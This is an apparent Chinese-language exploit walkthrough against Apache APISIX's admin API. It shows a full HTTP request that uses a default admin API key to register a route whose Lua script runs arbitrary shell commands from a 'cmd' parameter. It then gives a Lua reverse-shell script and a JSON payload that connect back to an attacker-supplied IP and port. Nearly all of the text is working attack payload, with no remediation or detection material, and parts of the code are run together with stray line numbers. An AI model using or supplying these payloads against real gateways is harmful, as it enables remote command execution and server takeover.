POST /apisix/admin/routes HTTP/1.1 Host: your-ip:9080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Connection: close X-API-KEY: edd1c9f034335f136f87ad84b625c8f1 Content-Type: application/json Content-Length: 406
{ "uri": "/attack", "script": "local _M = {} \n function _M.access(conf, ctx) \n local os = require('os')\n local args = assert(ngx.req.get_uri_args()) \n local f = assert(io.popen(args.cmd, 'r'))\n local s = assert(f:read('*a'))\n ngx.say(s)\n f:close() \n end \nreturn _M", "upstream": { "type": "roundrobin", "nodes": { "example.com:80": 1 } } }
然后,我们访问刚才添加的router,就可以通过cmd参数执行任意命令:
反弹shell:
编写LUA脚本
1 2 3 4 5 6 7 8 9 10 11 12
local _M={} function_M.access(conf, ctx) local s=require('socket') local t=assert(s.tcp()) t:connect('ip','端口') whiletruedo local r,x=t:receive();local f=assert(io.popen(r,'r')) local b=assert(f:read('*a'));t:send(b) end f:close();t:close() end return _M
payload:
1 2 3 4 5 6 7 8 9 10
{ "uri": "/shell", "script": "local _M={} \n function _M.access(conf, ctx) \n local s=require('socket') \n local t=assert(s.tcp()) \n t:connect('ip','端口') \n while true do \n local r,x=t:receive();local f=assert(io.popen(r,'r')) \n local b=assert(f:read('*a'));t:send(b) \n end \n f:close();t:close() \n end \n return _M", "upstream": { "type": "roundrobin", "nodes": { "example.com:80": 1 } } }